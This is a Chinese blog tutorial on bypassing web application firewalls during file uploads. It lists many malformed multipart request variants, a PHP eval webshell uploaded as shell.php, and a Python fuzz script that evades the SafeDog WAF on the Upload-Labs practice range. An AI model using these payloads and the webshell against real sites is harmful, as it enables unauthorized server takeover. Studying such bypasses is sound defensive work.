干货 | 最全的文件上传漏洞之WAF拦截绕过总结

干货 | 最全的文件上传漏洞之WAF拦截绕过总结

HTTP文件上传数据包解析

文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data才能正常上传文件。

一个正常的文件上传数据包大致如下:


 
 
  1. POST http: / /www.example.com HTTP / 1.1
  2. Content-Type:multipart /form-data; boundary =----WebKitFormBoundaryyb 1zYhTI 38xpQxBK
  3. ------WebKitFormBoundaryyb 1zYhTI 38xpQxBK
  4. Content-Disposition: form-data; name = "city_id"
  5. 1
  6. ------WebKitFormBoundaryyb 1zYhTI 38xpQxBK
  7. Content-Disposition: form-data; name = "company_id"
  8. 2
  9. ------WebKitFormBoundaryyb 1zYhTI 38xpQxBK
  10. Content-Disposition: form-data; name = "file"; filename = "chrome.png"
  11. Content-Type: image /png
  12. PNG ...  content  of chrome.png ...
  13. ------WebKitFormBoundaryyb 1zYhTI 38xpQxBK--

从中获取特征为:

•请求Header中Content-Type存在以下特征:•multipart/form-data:表示该请求是一个文件上传请求•存在boundary字符串:作用为分隔符,以区分POST数据•POST的内容存在以下特征:•Content-Disposition:响应标头是指示内容是否预期在浏览器中内联显示的标题。•name:包含该字段的内容引用的 HTML 字段的名称。•filename:后面是一个包含传输文件的原始名称的字符串。•POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary•最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)

文件上传在数据包中可修改的地方

Content-Disposition:一般可更改•name:表单参数值,不能更改•filename:文件名,可以更改•Content-Type:文件 MIME,视情况更改•boundary:内容划分,可以更改

WAF如何拦截恶意文件

可以先自己想象一下,如果让你来写WAF,你会从哪几个角度去防御。

•文件名•解析文件名,判断是否在黑名单内。•文件内容•解析文件内容,判断是否为webshell。•文件目录权限•该功能需要主机WAF实现。

目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。

大致步骤如下:

1.获取Request Header里的Content-Type值中获取boundary值2.根据第一步的boundary值,解析POST数据,获取文件名3.判断文件名是否在拦截黑名单内/白名单外

了解了WAF如何对恶意文件进行拦截之后,我将常见的绕过方法分为如下几类,最后再使用目前最新版的安全狗进行绕过演示。

字符变异

引号变换

头部字段的值既可以添加单引号也可以添加双引号还可以不加引号,都不会影响上传结果。


 
 
  1. Content-Disposition:  "form-data"; name = file_x; filename = "xx.php"
  2. Content-Disposition: form-data; name = file_x; filename = "xx.php"
  3. Content-Disposition: form-data; name = file_x; filename =xx.php
  4. Content-Disposition: form-data; name = "file_x"; filename =xx.php
  5. Content-Disposition: form-data; name = 'file_x'; filename = 'xx.php'
  6. Content-Disposition:  'form-data'; name = "file_x"; filename = 'xx.php'

可以去除掉filename字符串中末尾的引号,也能够正常上传


 
 
  1. Content-Disposition: form-data; name = "file_x"; filename = "xx.php
  2. Content-Disposition: form-data; name=" file_x "; filename='xx.php
  3. Content-Disposition: form-data; name=" file_x "; filename="xx.php;
大小写变换

对这三个固定的字符串进行大小写转换

•Content-Disposition•name•filename

比如name转换成NameContent-Disposition转换成content-disposition

添加换行符

字段值与等号之间可以加入换行符,依然可以正常上传,下面我使用[0x09]代替换行符


 
 
  1. Content-Disposition:  "form-data"; name = "file_x"; filename =[ 0x 09] "xx.php"
  2. Content-Disposition:  "form-data"; name = "file_x"; filename =[ 0x 09] "xx.php
  3. Content-Disposition: "form-data "; name=" file_x "; filename=[0x09]"xx.php "[0x09]
  4. Content-Disposition: "form-data "; name=" file_x "; filename=[0x09]xx.php
  5. Content-Disposition: "form-data "; name=" file_x "; filename=[0x09]xx.php[0x09];
多个分号

文件解析时,可能因为分号解析不到文件名,导致绕过。

Content-Disposition: form-data; name="file_x";;; filename="test.php"
 
 
多个等号

在POST的内容中使用多个等号对文件上传也没有影响。

Content-Disposition: form-data; name=="file_x"; filename===="test.php"
 
 
变换Content-Disposition的值

某些WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。其实Content-Disposition可以任意变换或为空。


 
 
  1. Content-Disposition: fOrM-DaTA; name = "file_x"; filename = "xx.php"
  2. Content-Disposition: form-da +ta; name = "file_x"; filename = "xx.php"
  3. Content-Disposition: fo    r m-dat a; name = "file_x"; filename = "xx.php"
  4. Content-Disposition: form-dataxx; name = "file_x"; filename = "xx.php"
  5. Content-Disposition: name = "file_x"; filename = "xx.php"
畸形的boundary头部

boundary可以变化为如下形式,且不影响上传:

正常的boundary

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
 
 

畸形的boundary

multipart/form-data大小写可变:

Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
 
 

multipart/form-databoundary之间可以使用空格分隔,且中间可以插入任何值:


 
 
  1. Content- Type: multipart/form- data boundary=----WebKitFormBoundarye111
  2. Content- Type: multipart/form- data x boundary=----WebKitFormBoundarye111
  3. Content- Type: multipart/form- data abcdefg boundary=----WebKitFormBoundarye111
  4. Content- Type: multipart/form- data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111

multipart/form-databoundary之间可以使用逗号分隔,且中间可以插入任何值:


 
 
  1. Content- Type: multipart/form- data,boundary=----WebKitFormBoundarye111
  2. Content- Type: multipart/form- data,x,boundary=----WebKitFormBoundarye111
  3. Content- Type: multipart/form- data,abcdefg,boundary=----WebKitFormBoundarye111
  4. Content- Type: multipart/form- data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111

boundary之前可以直接加入任何值(PHP可行):


 
 
  1. Content-Type: multipart /form-data;bypass & 123 **{|}boundary =----WebKitFormBoundarye 111
  2. Content-Type: multipart /form-data bypass & 123 **{|}boundary =----WebKitFormBoundarye 111
  3. Content-Type: multipart /form-data,bypass & 123 **{|}boundary =----WebKitFormBoundarye 111

boundary末尾可以使用逗号或分号隔开插入任何值


 
 
  1. Content-Type: multipart /form-data; boundary =----WebKitFormBoundarye 111; 123abc
  2. Content-Type: multipart /form-data; boundary =----WebKitFormBoundarye 111,123abc

顺序颠倒

交换name和filename的顺序

因为规定了Content-Disposition必须在最前面,所以只能交换name和filename的顺序。

有的WAF可能会匹配name在前面,filename在后面,可以导致绕过。

Content-Disposition: form-data; filename="xx.php"; name="file_x"
 
 
交换Content-Disposition和Content-Type的顺序

与上述一样,Content-Disposition和Content-Type也是能够交换顺序的。


 
 
  1. Content-Type: image /png
  2. Content-Disposition: form-data; name = "upload_file"; filename = "shell.php"
交换不同boundary内容的顺序

不同boundary内容也能够交换,且不影响文件上传


 
 
  1. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  2. Content-Disposition: form-data; name = "submit"
  3. 上传
  4. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  5. Content-Disposition: form-data; name = "upload_file"; filename = "shell.php"
  6. Content-Type: image /png
  7. <?php @eval($_POST[ 'x']);? >
  8. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf--

数据重复

boundary内容重复

最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass。


 
 
  1. ------WebKitFormBoundarymeEzpUTMsmOfjwAA
  2. Content-Disposition: form-data; name= "upload_file"; filename= "shell.jpg"
  3. Content-Type: image/png
  4. <?php @ eval( $_POST[ 'hack']);  ?>
  5. ------WebKitFormBoundarymeEzpUTMsmOfjwAA
  6. Content-Disposition: form-data; name= "upload_file"; filename= "shell.php"
  7. Content-Type: image/png
  8. <?php @ eval( $_POST[ 'hack']);  ?>
  9. ------WebKitFormBoundarymeEzpUTMsmOfjwAA
  10. Content-Disposition: form-data; name= "submit"
  11. 上传
  12. ------WebKitFormBoundarymeEzpUTMsmOfjwAA--

下面这样也是可以正常上传的


 
 
  1. ------WebKitFormBoundarymeEzpUTMsmOfjwAA
  2. ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
  3. ------WebKitFormBoundarymeEzpUTMsmOfjwAA; 123
  4. ------WebKitFormBoundarymeEzpUTMsmOfjwAA
  5. Content-Disposition: form-data; name= "upload_file"; filename= "shell.php"
  6. Content-Type: image/png
  7. <?php @ eval( $_POST[ 'hack']);  ?>
  8. ------WebKitFormBoundarymeEzpUTMsmOfjwAA
  9. Content-Disposition: form-data; name= "submit"
  10. 上传
  11. ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
filename重复

最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
 
 

数据溢出

name与filename之间插入垃圾数据

name与filename之间插入大量垃圾数据。


 
 
  1. POST  /Pass- 02 / index.php HTTP / 1.1
  2. Host: hackrock.com: 813
  3. Content-Type: multipart /form-data; boundary =----WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  4. Connection:  close
  5. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  6. Content-Disposition: form-data; name = "upload_file"; fbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf; 
  7. filename = "shell.php"
  8. Content-Type: image /png
  9. <?php @eval($_POST[ 'x']);? >
  10. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  11. Content-Disposition: form-data; name = "submit"
  12. 上传
  13. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf--

注:需在大量垃圾数据后加“;”

boundary字符串中加入垃圾数据

boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件。


 
 
  1. POST  /Pass- 01 / index.php HTTP / 1.1
  2. Host: hackrock.com: 813
  3. Content-Type: multipart /form-data; boundary =----WebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bfWebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9
  4. Connection:  close
  5. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bfWebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9
  6. Content-Disposition: form-data; name = "upload_file";filename = "shell.php"
  7. Content-Type: image /png
  8. <?php @eval($_POST[ 'x']);? >
  9. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bfWebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9
  10. Content-Disposition: form-data; name = "submit"
  11. 上传
  12. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bfWebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9--
boundray末尾插入垃圾数据

刚才讲到过boundary末尾可以插入任何数据,那么就可以在boundary字符串末尾加入大量垃圾数据。


 
 
  1. POST  /Pass- 01 / index.php HTTP / 1.1
  2. Host: hackrock.com: 813
  3. Content-Type: multipart /form-data; boundary =----WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf,bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bfWebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9
  4. Connection:  close
  5. Content-Length:  592
  6. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  7. Content-Disposition: form-data; name = "upload_file"; filename = "shell.php"
  8. Content-Type: image /png
  9. <?php @eval($_POST[ 'x']);? >
  10. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  11. Content-Disposition: form-data; name = "submit"
  12. 上传
  13. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf--
multipart/form-data与boundary之间插入垃圾数据

刚才讲到过multipart/form-databoundary之间可以插入任何数据,那么就可以在multipart/form-databoundary之间加入大量垃圾数据。


 
 
  1. POST  /Pass- 01 / index.php HTTP / 1.1
  2. Host: hackrock.com: 813
  3. Content-Type: multipart /form-data bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8659f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bfWebKitFormBoundaryzEHC 1GyG 8wYOH 1rffbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 8dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9f 2312bf 8658dafbf 0 fd 31ead 48dcc 0b 9boundary =----WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  4. Connection:  close
  5. Content-Length:  319
  6. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  7. Content-Disposition: form-data; name = "upload_file"; filename = "shell.php"
  8. Content-Type: image /png
  9. <?php @eval($_POST[ 'x']);? >
  10. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf
  11. Content-Disposition: form-data; name = "submit"
  12. 上传
  13. ------WebKitFormBoundaryzEHC 1GyG 8wYOH 1 rf--

数据截断

回车换行截断

POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过。


 
 
  1. Content-Disposition:  for
  2. m-data; name = "upload_
  3. file"; fi
  4. le
  5. name = "sh
  6. ell.p
  7. h
  8. p"
分号截断

若WAF匹配文件名到分号截止,则可以绕过。

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
 
 
引号截断

php<5.3 单双引号截断特性。


 
 
  1. Content-Disposition: form-data; name = "upload_file"; filename = "shell.jpg'.php"
  2. Content-Disposition: form-data; name = "upload_file"; filename = "shell.jpg".php "
00截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]代替16进制的00字符

Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
 
 

实战-绕过安全狗文件上传

实验环境

靶场:Upload-Labs(Pass-1)

数据库:MySQL 5.5

Web脚本:PHP 5.4.19

WAF:网站安全狗(Apache版)v4.0.3025

在测试时,网站安全狗仅开启上传防护,否则会因为误报删除靶场文件。

图片

image-20220122153541822

实战一 - 编写Fuzz脚本利用数据溢出绕过

由于boundary字符串中可以加入大量垃圾数据,这里就编写了一个Fuzz脚本进行测试能否绕过:


 
 
  1. #!  /usr /bin /env python
  2. # _ *_  coding:utf- 8 _ *_
  3. import requests
  4. import  random
  5. url = "http://hackrock.com:813/Pass-01/index.php"
  6. def  generate_ random_str(randomlength = 16):
  7.      random_str  =  ''
  8.     base_str  =  'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  9.      length  = len(base_str) -  1
  10.      for i  in range(randomlength):
  11.          random_str  + = base_str[ random.randint( 0length)]
  12.      return  random_str
  13. for i  in range( 10,8000,50):
  14.     stri  =  generate_ random_str(i)
  15.     try:
  16.         headers  = {
  17.              "Host": "hackrock.com:813",
  18.              "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
  19.              "Referer": "http://hackrock.com:813/Pass-01/index.php",
  20.              "Content-Type": "multipart/form-data; boundary=----"  + stri
  21.         }
  22.         payload  =  "" "
  23.             ------" ""  + stri  + "" "
  24.             Content-Disposition: form-data; name="upload_ file "; filename="shell.php "
  25.             Content-Type: image/png
  26.             <?php @eval($_POST['hack']); ?>
  27.             ------" ""  + stri  +  "" "
  28.             Content-Disposition: form-data; name="submit "
  29.             上传
  30.             ------" ""  + stri  +  "" "--
  31.         " ""
  32.         response =requests.post(url =url,headers =headers, data =payload,timeout = 0.5)
  33.         result  = response. content
  34.         print result
  35.         print stri
  36.         print  "\n"
  37.         #print payload
  38.         #print headers
  39.          if result. count( '上传'):
  40.             print  "Length is : %s " % str(i)
  41.             break
  42.     except:
  43.         print  "."

这里使用的是python2.7进行编写,运行时确保装有python2的环境以及python库。

最后测出的结果如下,长度为3710个字符:

图片

image-20220122154848589

虽然并没有帮我们上传上去,但是可以成功绕过安全狗拦截。

我们将构造好的数据包放进Burp试试:

图片

image-20220122155843047

成功绕过。

实战二 - 利用00截断绕过

上传文件,使用Burp抓包,将filename的值改为:shell.php;.jpg

图片

image-20220122160953684

然后打开hex,(分号的16进制为0x3b)修改16进制内容,把3b改成00:

图片

image-20220122161153160

发送数据。

图片

image-20220122161340032

成功绕过。

推荐阅读

实战 | Bypass云锁MySQL注入总结

实战 | BypassD盾之SQL注入绕过总结

实战 | WAF-Bypass之SQL注入绕过安全狗

实战 | WAF-Bypass之SQL注入绕过思路总结

文件上传和WAF的攻与防

https://bbs.ichunqiu.com/thread-41672-1-1.html?from=beef

过waf实战之文件上传bypass总结

https://www.cnblogs.com/-qing-/p/10832850.html

文件上传突破waf总结

https://xz.aliyun.com/t/7531

文件上传Bypass安全狗

https://cloud.tencent.com/developer/article/1838786?from=article.detail.1933685

文件上传之WAF绕过及相安全防护

https://www.cnblogs.com/zhaohzaomumu/p/15130641.html

文件上传绕过WAF

https://www.cnblogs.com/cwkiller/p/11651054.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值